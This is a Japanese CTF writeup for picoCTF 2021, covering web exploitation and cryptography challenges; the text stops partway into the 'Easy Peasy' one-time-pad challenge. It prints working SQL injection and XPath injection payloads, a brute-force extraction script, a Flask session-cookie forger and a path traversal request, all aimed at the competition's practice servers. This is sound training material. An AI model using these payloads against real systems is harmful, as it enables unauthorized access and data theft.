picoCTF 2021 Writeup
- picoCTF 2021 について
- picoCTF 2021 Writeup(全68問)
- Web Exploitation(16問)
- Ancient History - 10 points
- GET aHEAD - 20 points
- Cookies - 40 points
- Scavenger Hunt - 50 points
- Who are you? - 60 points
- Some Assembly Required 1 - 70 points
- It is my Birthday - 100 points
- Some Assembly Required 2 - 110 points
- Super Serial - 130 points
- Most Cookies - 150 points
- Some Assembly Required 3 - 160 points
- Web Gauntlet 2 - 170 points
- Startup Company - 180 points
- Some Assembly Required 4 - 200 points
- X marks the spot - 250 points
- Web Gauntlet 3 - 300 points
- Cryptography(12問)
- Mod 26 - 10 points
- Mind your Ps and Qs - 20 points
- Easy Peasy - 40 points
- New Caesar - 60 points
- Mini RSA - 70 points
- Dachshund Attacks - 80 points
- No Padding, No Problem - 90 points
- Play Nice - 110 points
- Double DES - 120 points
- It is my Birthday 2 - 170 points
- Pixelated - 200 points
- New Vignere - 300 points
- Reverse Engineering(16問)
- Transformation - 20 points
- keygenme-py - 30 points
- crackme-py - 30 points
- ARMssembly 0 - 40 points
- speeds and feeds - 50 points
- Shop - 50 points
- ARMssembly 1 - 70 points
- ARMssembly 2 - 90 points
- Hurry up! Wait! - 100 points
- gogo - 110 points
- ARMssembly 3 - 130 points
- Let's get dynamic - 150 points
- Easy as GDB - 160 points
- ARMssembly 4 - 170 points
- Powershelly - 180 points
- Rolling My Own - 300 points
- Forensics(11問)
- information - 10 points
- Weird File - 20 points
- Matryoshka doll - 30 points
- tunn3l v1s10n - 40 points
- Wireshark doo dooo do doo... - 50 points
- MacroHard WeakEdge - 60 points
- Trivial Flag Transfer Protocol - 90 points
- Wireshark twoo twooo two twoo... - 100 points
- Disk, disk, sleuth! - 110 points
- Disk, disk, sleuth! II - 130 points
- Milkslap - 200 points
- General Skills(7問)
- Binary Exploitation(6問)
- Web Exploitation(16問)
picoCTF 2021 について
picoCTF 2021が開催されました。
2021年3月17日午前1時 ~ 2021年3月31日午前4時(2週間)
2019年同様、picoCTF に参加してきました。難易度は低く、前回に比べて変わった問題が少なくなったような気がします。
今回も1人で参加しました。結果は、66/6215位で 6150点でした。前回と違い平日にあまり時間を取れなかったので、もう少し時間が欲しかったです。88問中 68問解くことができたので、その Writeup を紹介します。
picoCTF 2021 Writeup(全68問)
picoCTF 公式より
Note that I recommend not hardcoding specific challenge URLs and ports in writeups as these are randomized per player and subject to change.
URLやポート番号はランダムに変更される可能性があるそうなので、適宜読み替えてください。
Web Exploitation(16問)
Ancient History - 10 points
I must have been sleep hacking or something, I don't remember visiting all of these sites... http://mercury.picoctf.net:42332/ (try a couple different browsers if it's not working right)
http://mercury.picoctf.net:42332/index.html のページのソースをみると、window.history.pushState で履歴を追加している処理が確認できる。
index.html?
以降の文字を並べるとフラグになる。
picoCTF{th4ts_k1nd4_n34t_a1ac6cbe}
GET aHEAD - 20 points
Find the flag being held on this server to get ahead of the competition http://mercury.picoctf.net:21939/
http://mercury.picoctf.net:21939/index.php にアクセスすると、Red か Blue を選択する画面が表示される。
http://mercury.picoctf.net:21939/index.php のページのソースを確認すると、 GETメソッドでのアクセスで赤い背景、POSTメソッドでのアクセスで青い背景に変化するということが分かる。
<form action="index.php" method="GET"> <input type="submit" value="Choose Red"/> </form>
<form action="index.php" method="POST"> <input type="submit" value="Choose Blue"/> </form>
問題タイトルが GET aHEAD なので、HEADメソッドでアクセスしてみると、フラグが表示された。
$ curl --head http://mercury.picoctf.net:21939/index.php HTTP/1.1 200 OK flag: picoCTF{r3j3ct_th3_du4l1ty_6ef27873} Content-type: text/html; charset=UTF-8
picoCTF{r3j3ct_th3_du4l1ty_6ef27873}
Cookies - 40 points
Who doesn't love cookies? Try to figure out the best one. http://mercury.picoctf.net:17781/
http://mercury.picoctf.net:17781/ にアクセスして、
snickerdoodle
と入力すると、I love snickerdoodle cookies!
と表示される。
このときの Cookie を EditThisCookie で確認すると、name=0 になっていた。
name=1 に変えてみると、別のメッセージが表示された。
Cookie の name の値を増やしていくスクリプトを書いて実行すると、
name=18 のときにフラグが表示された。
#!/bin/bash for i in `seq 0 20`; do echo -n $i curl --cookie "name=$i" --data "name=snickerdoodle" --silent -L http://mercury.picoctf.net:17781/search | grep "<b>" done
$ ./solve.sh 0 <p style="text-align:center; font-size:30px;"><b>I love snickerdoodle cookies!</b></p> 1 <p style="text-align:center; font-size:30px;"><b>I love chocolate chip cookies!</b></p> 2 <p style="text-align:center; font-size:30px;"><b>I love oatmeal raisin cookies!</b></p> 3 <p style="text-align:center; font-size:30px;"><b>I love gingersnap cookies!</b></p> 4 <p style="text-align:center; font-size:30px;"><b>I love shortbread cookies!</b></p> 5 <p style="text-align:center; font-size:30px;"><b>I love peanut butter cookies!</b></p> 6 <p style="text-align:center; font-size:30px;"><b>I love whoopie pie cookies!</b></p> 7 <p style="text-align:center; font-size:30px;"><b>I love sugar cookies!</b></p> 8 <p style="text-align:center; font-size:30px;"><b>I love molasses cookies!</b></p> 9 <p style="text-align:center; font-size:30px;"><b>I love kiss cookies!</b></p> 10 <p style="text-align:center; font-size:30px;"><b>I love biscotti cookies!</b></p> 11 <p style="text-align:center; font-size:30px;"><b>I love butter cookies!</b></p> 12 <p style="text-align:center; font-size:30px;"><b>I love spritz cookies!</b></p> 13 <p style="text-align:center; font-size:30px;"><b>I love snowball cookies!</b></p> 14 <p style="text-align:center; font-size:30px;"><b>I love drop cookies!</b></p> 15 <p style="text-align:center; font-size:30px;"><b>I love thumbprint cookies!</b></p> 16 <p style="text-align:center; font-size:30px;"><b>I love pinwheel cookies!</b></p> 17 <p style="text-align:center; font-size:30px;"><b>I love wafer cookies!</b></p> 18 <p style="text-align:center; font-size:30px;"><b>Flag</b>: <code>picoCTF{3v3ry1_l0v3s_c00k135_bb3b3535}</code></p> 19 <p style="text-align:center; font-size:30px;"><b>I love macaroon cookies!</b></p> 20 <p style="text-align:center; font-size:30px;"><b>I love fortune cookies!</b></p>
picoCTF{3v3ry1_l0v3s_c00k135_bb3b3535}
Scavenger Hunt - 50 points
There is some interesting information hidden around this site http://mercury.picoctf.net:44070/. Can you find it?
分割されたフラグが、さまざまなページにコメントとして書かれている。
<!-- Here's the first part of the flag: picoCTF{t -->
/* CSS makes the page look nice, and yes, it also has part of the flag. Here's part 2: h4ts_4_l0 */
# Part 3: t_0f_pl4c
# Part 4: 3s_2_lO0k
Congrats! You completed the scavenger hunt. Part 5: _7a46d25d}
picoCTF{th4ts_4_l0t_0f_pl4c3s_2_lO0k_7a46d25d}
Who are you? - 60 points
Let me in. Let me iiiiiiinnnnnnnnnnnnnnnnnnnn http://mercury.picoctf.net:1270/
http://mercury.picoctf.net:1270/ にアクセスすると、条件が順に表示される。
- Only people who use the official PicoBrowser are allowed on this site!
- I don't trust users visiting from another site.
- Sorry, this site only worked in 2018.
- I don't trust users who can be tracked.
- This website is only for people from Sweden.
- You're in Sweden but you don't speak Swedish?
- What can I say except, you are welcome
適切なヘッダとプロキシを設定して HTTP リクエストを送信すると、フラグを含むレスポンスが返ってきた。 (プロキシは、適当に検索して出てきたスウェーデンのサーバを指定した)
curl -i -X GET \ -H "User-Agent:PicoBrowser" \ -H "Referer:http://mercury.picoctf.net:1270/" \ -H "Date:Mon, 01 Jan 2018 00:00:00 GMT" \ -H "DNT:1" \ -x http://185.186.78.10:3128 \ -H "Accept-Language:sv" \ 'http://mercury.picoctf.net:1270/'
picoCTF{http_h34d3rs_v3ry_c0Ol_much_w0w_f56f58a5}
Some Assembly Required 1 - 70 points
Chrome DevTools の Network を見ていると、G82XCw5CX3.js から JIFxzHyW8W というファイルがダウンロードされていることが分かる。
http://mercury.picoctf.net:55336/JIFxzHyW8W をダウンロードして、
strings で文字列を確認すると、フラグが見つかった。
$ wget http://mercury.picoctf.net:55336/JIFxzHyW8W $ strings JIFxzHyW8W memory __wasm_call_ctors strcmp check_flag input copy_char __dso_handle __data_end __global_base __heap_base __memory_base __table_base j! F!!A !" ! "q!# # !% $ %q!& !( ' (q!) & )k!* !+ + q! +picoCTF{51e513c498950a515b1aab5e941b2615}
picoCTF{51e513c498950a515b1aab5e941b2615}
It is my Birthday - 100 points
I sent out 2 invitations to all of my friends for my birthday! I'll know if they get stolen because the two invites look similar, and they even have the same md5 hash, but they are slightly different! You wouldn't believe how long it took me to find a collision. Anyway, see if you're invited by submitting 2 PDFs to my website. http://mercury.picoctf.net:11590/
以下のリポジトリから、poeMD5_A.pdf と poeMD5_B.pdf をダウンロードして、http://mercury.picoctf.net:11590/ にアップロードすると、フラグが表示された。
picoCTF{c0ngr4ts_u_r_1nv1t3d_3d3e4c57}
Some Assembly Required 2 - 110 points
Some Assembly Required 1 と同様の手順で、
aD8SvhyVkb というファイルをダウンロードする。
$ wget http://mercury.picoctf.net:61778/aD8SvhyVkb
strings をすると、今度は以下のように出力された。
$ strings aD8SvhyVkb memory __wasm_call_ctors strcmp check_flag input copy_char __dso_handle __data_end __global_base __heap_base __memory_base __table_base j! F!!A !" ! "q!# # !% $ %q!& !( ' (q!) & )k!* !+ + q! +xakgK\Ns((j:l9<mimk?:k;9;8=8?=0?>jnn:j=lu
xakgK\Ns((j:l9<mimk?:k;9;8=8?=0?>jnn:j=lu
を
CyberChef
の XOR Brute Force してみると、フラグを取得することができた。
picoCTF{ b2d14eaec72c31305075876bff2b5d}
Super Serial - 130 points
Try to recover the flag stored on this website http://mercury.picoctf.net:5428/
Hints を見てみると、「The flag is at ../flag」と書かれていた。
http://mercury.picoctf.net:5428/../flag ではアクセスできなかった。
..
を %2e%2e
に書き換えてみると、../flag
にアクセスすることができた。
$ curl mercury.picoctf.net:5428/%2e%2e/flag picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_c5123066}
picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_c5123066}
Most Cookies - 150 points
Alright, enough of using my own encryption. Flask session cookies should be plenty secure! server.py http://mercury.picoctf.net:65344/
server.py を見てみると、Flask でセッション管理されていることが分かる。
secret_key が分かれば、任意のセッションを生成することができる。 secret_key は、cookie_names から1つランダムにピックアップしたものを使用している。
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"] app.secret_key = random.choice(cookie_names)
very_auth を admin に設定することができれば、フラグが表示される。
@app.route("/display", methods=["GET"]) def flag(): if session.get("very_auth"): check = session["very_auth"] if check == "admin": resp = make_response(render_template("flag.html", value=flag_value, title=title)) return resp flash("That is a cookie! Not very special though...", "success") return render_template("not-flag.html", title=title, cookie_name=session["very_auth"]) else: resp = make_response(redirect("/")) session["very_auth"] = "blank" return resp
まず、http://mercury.picoctf.net:65344/display にアクセスして Cookie を取得する。
取得した Cookie の session を以下のスクリプトに記載し、実行すると {'very_auth': 'admin'}
用の session を生成することができる。
#!/usr/bin/env python3 from flask.sessions import SecureCookieSessionInterface from itsdangerous import URLSafeTimedSerializer class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface): # NOTE: Override method def get_signing_serializer(self, secret_key): signer_kwargs = { 'key_derivation': self.key_derivation, 'digest_method': self.digest_method } return URLSafeTimedSerializer( secret_key, salt=self.salt, serializer=self.serializer, signer_kwargs=signer_kwargs ) class FlaskSessionCookieManager: @classmethod def decode(cls, secret_key, cookie): sscsi = SimpleSecureCookieSessionInterface() signingSerializer = sscsi.get_signing_serializer(secret_key) return signingSerializer.loads(cookie) @classmethod def encode(cls, secret_key, session): sscsi = SimpleSecureCookieSessionInterface() signingSerializer = sscsi.get_signing_serializer(secret_key) return signingSerializer.dumps(session) def main(): cookie = 'eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.YFhrmA.wnld-Xp-OJ432MAXrpuV7DUIvog' # set session cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"] for secret_key in cookie_names: try: print(FlaskSessionCookieManager.decode(secret_key, cookie)) session = {'very_auth': 'admin'} print(FlaskSessionCookieManager.encode(secret_key, session)) except Exception: pass if __name__ == '__main__': main()
$ python3 solve.py {'very_auth': 'blank'} eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9.YFe4og.o5psPaSKi0bXgRiPeo8MgeJRmwY
生成された session を Cookie に設定して、http://mercury.picoctf.net:65344/display にアクセスすると、フラグが表示された。
picoCTF{pwn_4ll_th3_cook1E5_25bdb6f6}
Some Assembly Required 3 - 160 points
Some Assembly Required 1 と同様の手順で、
qCCYI0ajpD というファイルをダウンロードする。
$ wget http://mercury.picoctf.net:38541/qCCYI0ajpD
file コマンドでファイルの種類を確認すると、WebAssembly であることが分かる。
$ file qCCYI0ajpD qCCYI0ajpD: WebAssembly (wasm) binary module version 0x1 (MVP)
wabt の wasm-decompile を使って処理を確認する。
$ wget https://github.com/WebAssembly/wabt/releases/download/1.0.23/wabt-1.0.23-ubuntu.tar.gz $ tar xvf wabt-1.0.23-ubuntu.tar.gz $ ./wabt-1.0.23/bin/wasm-decompile qCCYI0ajpD -o qCCYI0ajpD.dcmp
export memory memory(initial: 2, max: 0); global g_a:int = 66864; export global input:int = 1072; export global key:int = 1067; export global dso_handle:int = 1024; export global data_end:int = 1328; export global global_base:int = 1024; export global heap_base:int = 66864; export global memory_base:int = 0; export global table_base:int = 1; table T_a:funcref(min: 1, max: 1); data d_nAcdbf1a(offset: 1024) = "\9dn\93\c8\b2\b9A\8b\90\c2\ddc\93\93\92\8fd\92\9f\94\d5b\91\c5\c0\8ef\c4" "\97\c0\8f1\c1\90\c4\8ba\c2\94\c9\90\00\00"; data d_b(offset: 1067) = "\f1\a7\f0\07\ed"; export function wasm_call_ctors() { } export function strcmp(a:int, b:int):int { var c:int = g_a; var d:int = 32; var e:int = c - d; e[6]:int = a; e[5]:int = b; var f:int = e[6]:int; e[4]:int = f; var g:int = e[5]:int; e[3]:int = g; loop L_b { var h:ubyte_ptr = e[4]:int; var i:int = 1; var j:int = h + i; e[4]:int = j; var k:int = h[0]; e[11]:byte = k; var l:ubyte_ptr = e[3]:int; var m:int = 1; var n:int = l + m; e[3]:int = n; var o:int = l[0]; e[10]:byte = o; var p:int = e[11]:ubyte; var q:int = 255; var r:int = p & q; if (r) goto B_c; var s:int = e[11]:ubyte; var t:int = 255; var u:int = s & t; var v:int = e[10]:ubyte; var w:int = 255; var x:int = v & w; var y:int = u - x; e[7]:int = y; goto B_a; label B_c: var z:int = e[11]:ubyte; var aa:int = 255; var ba:int = z & aa; var ca:int = e[10]:ubyte; var da:int = 255; var ea:int = ca & da; var fa:int = ba; var ga:int = ea; var ha:int = fa == ga; var ia:int = 1; var ja:int = ha & ia; if (ja) continue L_b; } var ka:int = e[11]:ubyte; var la:int = 255; var ma:int = ka & la; var na:int = e[10]:ubyte; var oa:int = 255; var pa:int = na & oa; var qa:int = ma - pa; e[7]:int = qa; label B_a: var ra:int = e[7]:int; return ra; } // <snip> function copy(a:int, b:int) { var c:int = g_a; var d:int = 16; var e:int_ptr = c - d; e[3] = a; e[2] = b; var f:int = e[3]; if (eqz(f)) goto B_a; var g:int = 4; var h:int = e[2]; var i:int = 5; var j:int = h % i; var k:ubyte_ptr = g - j; var l:int = k[1067]; var m:int = 24; var n:int = l << m; var o:int = n >> m; var p:int = e[3]; var q:int = p ^ o; e[3] = q; label B_a: var r:int = e[3]; var s:byte_ptr = e[2]; s[1072] = r; }
copy で入力した文字列を XOR で暗号化してメモリに展開し、strcmp で比較している。 copy を参考に復号用のスクリプトを作成した。
enc_flag = b'\x9d\x6e\x93\xc8\xb2\xb9\x41\x8b\x90\xc2\xdd\x63\x93\x93\x92\x8f\x64\x92\x9f\x94\xd5\x62\x91\xc5\xc0\x8e\x66\xc4\x97\xc0\x8f\x31\xc1\x90\xc4\x8b\x61\xc2\x94\xc9\x90\x00\x00' key = b'\xf1\xa7\xf0\x07\xed' flag = '' for i in range(len(enc_flag)): dec = enc_flag[i] ^ key[4 - i % 5] flag += chr(dec) print(flag)
$ python3 solve.py picoCTF{730dc4cbcb8e8eab1ca401b6175ff238}ð
picoCTF{730dc4cbcb8e8eab1ca401b6175ff238}
Web Gauntlet 2 - 170 points
This website looks familiar... Log in as admin Site: http://mercury.picoctf.net:61434/ Filter: http://mercury.picoctf.net:61434/filter.php
SQLインジェクション系の問題
フィルタが設定されており、以下の文字列を入力するとエラーになる。
Filters: or and true false union like = > < ; -- /* */ admin
以下のようになるように Username と Password を入力すると、サインインできる。
SELECT username, password FROM users WHERE username='admi' || 'n' AND password='' GLOB '*'
- Username:
admi' || 'n
- Password:
' GLOB '*
サインイン後、filter.php にアクセスすると、フラグとソースコードが表示された。
<?php session_start(); if (!isset($_SESSION["winner2"])) { $_SESSION["winner2"] = 0; } $win = $_SESSION["winner2"]; $view = ($_SERVER["PHP_SELF"] == "/filter.php"); if ($win === 0) { $filter = array("or", "and", "true", "false", "union", "like", "=", ">", "<", ";", "--", "/*", "*/", "admin"); if ($view) { echo "Filters: ".implode(" ", $filter)."<br/>"; } } else if ($win === 1) { if ($view) { highlight_file("filter.php"); } $_SESSION["winner2"] = 0; // <- Don't refresh! } else { $_SESSION["winner2"] = 0; } // picoCTF{0n3_m0r3_t1m3_b55c7a5682db6cb0192b28772d4f4131} ?>
picoCTF{0n3_m0r3_t1m3_b55c7a5682db6cb0192b28772d4f4131}
Startup Company - 180 points
Do you want to fund my startup? http://mercury.picoctf.net:44720/
Register でユーザ登録すると、寄付金の入力画面が出てくる。 数値を入力して、「$Contribute$」と入力すると、「You're latest contribution: $」に入力した金額が表示された。
input タグの type="number" を削除して、'
と入力すると、「Database error.」と表示された。
また、test
と入力すると、金額表示のところに「test」という文字列が表示された。
<input type="number" id="moneys" name="moneys" class="form-control" placeholder="100" required="" autofocus="">
以上のことから、以下の3点が分かる。
- UPDATE で金額を更新した後、SELECT でその結果を表示している。
- 金額管理しているカラムは、数値ではなく文字列として管理されている。
'
でエラーになることから、おそらくSQLインジェクションができる。
以下のように入力すると、テーブル名一覧が表示された。
'||(SELECT GROUP_CONCAT(tbl_name) FROM sqlite_master)||'
取得したテーブル名を使って、テーブルの構成を表示させる。
'||(SELECT sql FROM sqlite_master WHERE tbl_name='startup_users')||'
取得した構成情報を基に、パスワード一覧を表示させると、フラグが表示された。
'||(SELECT GROUP_CONCAT(wordpass) FROM startup_users)||'
※ Register で登録したユーザのパスワードが別の人に推測されてしまった場合、問題を解いていない人がログインしただけでフラグが表示されてしまうので、最後に適当な数値を入力して、元に戻しておいたほうがよい。
picoCTF{1_c4nn0t_s33_y0u_107b7785}
Some Assembly Required 4 - 200 points
Some Assembly Required 1 と同様の手順で、 ZoRd23o0wd というファイルをダウンロードする。
$ wget http://mercury.picoctf.net:6755/ZoRd23o0wd
Some Assembly Required 3 と同様の手順でデコンパイルしてみたが、読みづらかったので、今度は別の方法で解析を進めた。
wabt の wasm2c で C言語のソースコードに変換して、コンパイルする。
$ ./wabt-1.0.23/bin/wasm2c ZoRd23o0wd -o ZoRd23o0wd.c $ cp ./wabt-1.0.23/include/wasm-rt.h . $ gcc -c ZoRd23o0wd.c -o ZoRd23o0wd.o
生成された ZoRd23o0wd.o を Ghidra に読み込ませて処理を確認する。
以下のような処理になっていた。
enc_flag = [ 0x18, 0x6a, 0x7c, 0x61, 0x11, 0x38, 0x69, 0x37, 0x18, 0x09, 0x79, 0x0e, 0x68, 0x1b, 0x03, 0x3f, 0x07, 0x13, 0x42, 0x26, 0x60, 0x6d, 0x1b, 0x5d, 0x73, 0x04, 0x6c, 0x47, 0x52, 0x35, 0x5d, 0x17, 0x1f, 0x73, 0x33, 0x38, 0x40, 0x51, 0x77, 0x57, 0x51, 0x00, 0x00, ] input_data = [ ord('p'), ord('i'), ord('c'), ord('o'), ord('C'), ord('T'), ord('F'), ord('{'), 0 ] # encode data i = 0 while True: if input_data[i] == 0: break input_data[i] = input_data[i] ^ 0x14 if 0 < i: input_data[i] = input_data[i] ^ input_data[i-1] if 2 < i: input_data[i] = input_data[i] ^ input_data[i-3] input_data[i] = input_data[i] ^ i % 10 if i % 2 == 0: input_data[i] = input_data[i] ^ 9 else: input_data[i] = input_data[i] ^ 8 if i % 3 == 0: input_data[i] = input_data[i] ^ 7 else: if i % 3 == 1: input_data[i] = input_data[i] ^ 6 else: input_data[i] = input_data[i] ^ 5 i += 1 # swap input_data j = 0 while True: if i <= j: break if j % 2 == 0: if j + 1 < i: tmp = input_data[j] input_data[j] = input_data[j + 1] input_data[j + 1] = tmp j += 1 print('enc_flag: ', enc_flag) print('input_data:', input_data)
試しに picoCTF{
まで指定してみると、途中まで一致した。
$ python3 test.py enc_flag: [24, 106, 124, 97, 17, 56, 105, 55, 24, 9, 121, 14, 104, 27, 3, 63, 7, 19, 66, 38, 96, 109, 27, 93, 115, 4, 108, 71, 82, 53, 93, 23, 31, 115, 51, 56, 64, 81, 119, 87, 81, 0, 0] input_data: [24, 106, 124, 97, 17, 56, 105, 55, 0]
上記のスクリプト整理して総当たりでフラグを求めるようにする。
import string def encode(data): i = 0 while True: if data[i] == 0: break data[i] = data[i] ^ 0x14 if 0 < i: data[i] = data[i] ^ data[i-1] if 2 < i: data[i] = data[i] ^ data[i-3] data[i] = data[i] ^ i % 10 if i % 2 == 0: data[i] = data[i] ^ 9 else: data[i] = data[i] ^ 8 if i % 3 == 0: data[i] = data[i] ^ 7 else: if i % 3 == 1: data[i] = data[i] ^ 6 else: data[i] = data[i] ^ 5 i += 1 return data def swap(data): for i in range(0, len(data) - 1, 2): data[i], data[i+1] = data[i+1], data[i] return data def str2array(s): data = [0] * (len(s) + 1) for i, ch in enumerate(s): data[i] = ord(ch) return data def main(): enc_flag = [ 0x18, 0x6a, 0x7c, 0x61, 0x11, 0x38, 0x69, 0x37, 0x18, 0x09, 0x79, 0x0e, 0x68, 0x1b, 0x03, 0x3f, 0x07, 0x13, 0x42, 0x26, 0x60, 0x6d, 0x1b, 0x5d, 0x73, 0x04, 0x6c, 0x47, 0x52, 0x35, 0x5d, 0x17, 0x1f, 0x73, 0x33, 0x38, 0x40, 0x51, 0x77, 0x57, 0x51, 0x00, 0x00, ] swaped_enc_flag = swap(enc_flag) flag = 'picoCTF{' while True: for ch in string.printable + '\x00': enc_data = encode(str2array(flag + ch)) size = len(flag) + 1 if all([enc_data[i] == swaped_enc_flag[i] for i in range(size)]): flag += ch break if ch == '\x00': break print('swaped_enc_flag:', swaped_enc_flag) print('enc_data: ', enc_data) print('flag:', flag) if __name__ == '__main__': main()
$ python3 solve.py swaped_enc_flag: [106, 24, 97, 124, 56, 17, 55, 105, 9, 24, 14, 121, 27, 104, 63, 3, 19, 7, 38, 66, 109, 96, 93, 27, 4, 115, 71, 108, 53, 82, 23, 93, 115, 31, 56, 51, 81, 64, 87, 119, 0, 81, 0] enc_data: [106, 24, 97, 124, 56, 17, 55, 105, 9, 24, 14, 121, 27, 104, 63, 3, 19, 7, 38, 66, 109, 96, 93, 27, 4, 115, 71, 108, 53, 82, 23, 93, 115, 31, 56, 51, 81, 64, 87, 119, 0, 0, 0] flag: picoCTF{a4dfbd29e50d01f1a513903dfceda44c,
swap している関係で少しフラグがずれているが、最後の文字列は }
になるはずなので、そこだけ書き換えてフラグを入力すると、「Correct!」と表示された。
picoCTF{a4dfbd29e50d01f1a513903dfceda44c}
X marks the spot - 250 points
Another login you have to bypass. Maybe you can find an injection that works? http://mercury.picoctf.net:53735/
Hints を見ると、「XPATH」と書かれているので、以下の2つのサイトを参考に XPATH Injection を行ってみる。
name と pass 両方に ' or '1'='1
と入力すると、「You're on the right path.」と表示された。
また、name に以下を入力しても「You're on the right path.」と表示された。 ただし、4を別の値に書き換えると「Login failure.」と表示された。
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''='
「Login failure.」とならないパターンを列挙すると以下のようになった。
import requests import itertools for i, j in itertools.product(range(1, 5), repeat=2): for k in range(1, 100): param = f"' or string-length(//user[position()={i}]/child::node()[position()={j}])={k} or ''='" response = requests.post('http://mercury.picoctf.net:53735/', {'name': param, 'pass': ''}) if 'Login failure.' not in response.text: print(param) break
$ python3 get_length.py ' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' ' or string-length(//user[position()=1]/child::node()[position()=2])=5 or ''=' ' or string-length(//user[position()=1]/child::node()[position()=3])=4 or ''=' ' or string-length(//user[position()=1]/child::node()[position()=4])=16 or ''=' ' or string-length(//user[position()=2]/child::node()[position()=1])=4 or ''=' ' or string-length(//user[position()=2]/child::node()[position()=2])=3 or ''=' ' or string-length(//user[position()=2]/child::node()[position()=3])=4 or ''=' ' or string-length(//user[position()=2]/child::node()[position()=4])=22 or ''=' ' or string-length(//user[position()=3]/child::node()[position()=1])=4 or ''=' ' or string-length(//user[position()=3]/child::node()[position()=2])=5 or ''=' ' or string-length(//user[position()=3]/child::node()[position()=3])=4 or ''=' ' or string-length(//user[position()=3]/child::node()[position()=4])=50 or ''='
最後の50文字が怪しいので、以下の入力を使って1文字ずつ特定していくとフラグになった。
' or substring((//user[position()=3]/child::node()[position()=4]),1,1)="a" or ''='
import requests import string i = 3 j = 4 k = 50 chars = string.ascii_letters + string.digits + r'_{}' flag = '' for offset in range(1, k+1): for ch in chars: param = f"' or substring((//user[position()={i}]/child::node()[position()={j}]),{offset},1)=\"{ch}\" or ''='" response = requests.post("http://mercury.picoctf.net:53735/", {'name': param, 'pass': ''}) print(param) if "Login failure." not in response.text: flag += ch print('flag:', flag) break
$ python3 solve.py <snip> ' or substring((//user[position()=3]/child::node()[position()=4]),50,1)="_" or ''=' ' or substring((//user[position()=3]/child::node()[position()=4]),50,1)="{" or ''=' ' or substring((//user[position()=3]/child::node()[position()=4]),50,1)="}" or ''=' flag: picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_a8550ff2}
picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_a8550ff2}
Web Gauntlet 3 - 300 points
Last time, I promise! Only 25 characters this time. Log in as admin Site: http://mercury.picoctf.net:63504/ Filter: http://mercury.picoctf.net:63504/filter.php
Web Gauntlet 2 と同様の入力でフラグとソースコードが表示された。
(もしかしたら、想定回答と違うのかもしれない。)
- Username:
admi' || 'n
- Password:
' GLOB '*
<?php session_start(); if (!isset($_SESSION["winner3"])) { $_SESSION["winner3"] = 0; } $win = $_SESSION["winner3"]; $view = ($_SERVER["PHP_SELF"] == "/filter.php"); if ($win === 0) { $filter = array("or", "and", "true", "false", "union", "like", "=", ">", "<", ";", "--", "/*", "*/", "admin"); if ($view) { echo "Filters: ".implode(" ", $filter)."<br/>"; } } else if ($win === 1) { if ($view) { highlight_file("filter.php"); } $_SESSION["winner3"] = 0; // <- Don't refresh! } else { $_SESSION["winner3"] = 0; } // picoCTF{k3ep_1t_sh0rt_eb90a623e2c581bcd3127d9d60a4dead} ?>
picoCTF{k3ep_1t_sh0rt_eb90a623e2c581bcd3127d9d60a4dead}
Cryptography(12問)
Mod 26 - 10 points
Cryptography can be easy, do you know what ROT13 is?
cvpbPGS{arkg_gvzr_V'yy_gel_2_ebhaqf_bs_ebg13_MAZyqFQj}
CyberChef の ROT13 で変換するだけ
picoCTF{next_time_I'll_try_2_rounds_of_rot13_ZNMldSDw}
Mind your Ps and Qs - 20 points
In RSA, a small
e
value can be problematic, but what aboutN
? Can you decrypt this? values
n の値を factordb.com で検索すると、素因数分解結果が分かる。
- p: 1899107986527483535344517113948531328331
- q: 674357869540600933870145899564746495319033
def long_to_bytes(x: int) -> bytes: return x.to_bytes((x.bit_length() + 7) // 8, 'big') def egcd(a, b): if a == 0: return (b, 0, 1) else: g, x, y = egcd(b % a, a) return (g, y - (b // a) * x, x) def main(): c = 62324783949134119159408816513334912534343517300880137691662780895409992760262021 n = 1280678415822214057864524798453297819181910621573945477544758171055968245116423923 e = 65537 p = 1899107986527483535344517113948531328331 q = 674357869540600933870145899564746495319033 phi = (p - 1) * (q - 1) d = egcd(e, phi)[1] if d < 0: d += phi m = pow(c, d, n) flag = long_to_bytes(m) print(flag) if __name__ == '__main__': main()
$ python3 solve.py b'picoCTF{sma11_N_n0_g0od_05012767}'
picoCTF{sma11_N_n0_g0od_05012767}
Easy Peasy - 40 points
A one-time pad is unbreakable, but can you manage to recover the flag? (Wrap with picoCTF{})
nc mercury.picoctf.net 64260
otp.py
netcat でアクセスすると、暗号化されたフラグが表示される。
その後、何か文字列を入力すると、それを暗号化した結果が返ってくる。
$ nc mercury.picoctf.net 64260 ******************Welcome to our OTP implementation!****************** This is the encrypted flag! 51466d4e5f575538195551416e4f5300413f1b5008684d5504384157046e4959 What data would you like to encrypt? hello Here ya go! 582b301457 What data would you like to encrypt? hello Here ya go! 5939145c0d What data would you like to encrypt?
otp.py の処理を確認するとXORで暗号化していることが分かる。
XOR鍵は、50000 バイト分用意されている。 暗号化されるたびに消費されていき、50000 バイトまで到達すると、初めに戻るようになっている。
